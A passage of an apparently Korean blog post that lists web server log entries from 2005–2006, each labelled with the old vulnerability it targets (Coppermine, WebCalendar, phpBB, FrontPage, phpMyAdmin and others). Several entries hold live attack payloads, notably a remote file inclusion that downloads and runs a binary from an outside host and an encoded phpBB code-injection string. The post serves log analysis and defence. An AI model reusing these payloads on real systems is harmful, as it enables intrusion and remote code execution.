200.75.xx.xx - - [06/Jan/2006:10:16:50 +0900] "GET /modules/coppermine/themes/default/theme.php?THEME_DIR=http://209.xxx.xxx.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.xxx.xxx.69/cbac;chmod%20744%20cbac;./cbac;echo%20YYY;echo|  HTTP/1.1" 404 0



4. Open WebMail 취약점을 이용한 공격 (취약점이 있는 버전인지 파악하기 위한 요청으로 판단됨)


203.190.xxx.xxx - - [01/Feb/2006:01:51:25 +0900] "GET /cgi-bin/openwebmail/openwebmail.pl HTTP/1.0" 404 0 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"



5. WebCalendar의 send_reminders.php 취약점을 이용한 공격


65.203.xxx.xxx - - [05/Dec/2005:02:34:23 +0900] "GET /webcalendar/tools/send_reminders.php?includedir=http://www.gxxxxes.com/trustopt/t.txt? HTTP/1.1" 404 0



6. RRDtool 기반의 트래픽 분석툴 Cacti의 graph_image.php 취약점을 이용한 공격


66.14.xxx.xx - - [01/Dec/2005:01:03:22 +0900] "GET /cacti/graph_image.php HTTP/1.1" 404 0



7. ATD OpenSSL 취약점 스캐닝 툴에 의한 로그


11.53.xxx.x - - [01/Dec/2005:00:49:31 +0900] "GET /sumthin HTTP/1.0" 404 0



8. Cisco Switch의 아주 예전 HTTP 취약점(2001년)을 이용한 공격


211.115.xxx.xx - - [27/Feb/2006:13:39:22 +0900] "GET /level/16/exec/-///pwd  HTTP/1.0" 404 0 "-"



9. 프락시 서버로 활용하기 위한 요청


220.137.xx.xxx - - [12/Dec/2005:05:07:19 +0900] "CONNECT msa-mx6.hinet.net:25 HTTP/1.0" 405 231



10. Microsoft의 FrontPage Server Extensions의 취약점을 이용한 공격


85.224.xxx.xx - - [01/Dec/2005:00:33:20 +0900] "POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1" 404 0



11. phpBB의 viewtopic.php 취약점을 이용한 공격


130.63.xxx.xxx - - [23/Feb/2006:23:26:52 +0900] "GET /bbs/viewtopic.php?t=1112&highlight=%2527%252Esystem(chr(112)%252Echr(101)%252Echr(114)%252Echr(108)%252Echr(32)%252Echr(45)%252Echr(101)%252Echr(32)%252Echr(34)%252Echr(112)%252Echr(114)%252Echr(105)%252Echr(110)%252Echr(116)%252Echr(32)%252Echr(113)%252Echr(40)%252Echr(106)%252Echr(83)%252Echr(86)%252Echr(111)%252Echr(119)%252Echr(77)%252Echr(115)%252Echr(100)%252Echr(41)%252Echr(34))%252E%2527 HTTP/1.0" 302 642 "-" "Mozilla/4.0"



12. phpMyAdmin의 취약점을 이용한 공격


81.5.xxx.xxx - - [17/Mar/2006:12:12:57 +0900] "GET /phpmyadmin/main.php HTTP/1.0" 404 0 "PMAFind"

2009/04/09 18:13 2009/04/09 18:13
샤이 이 작성.

당신의 의견을 작성해 주세요.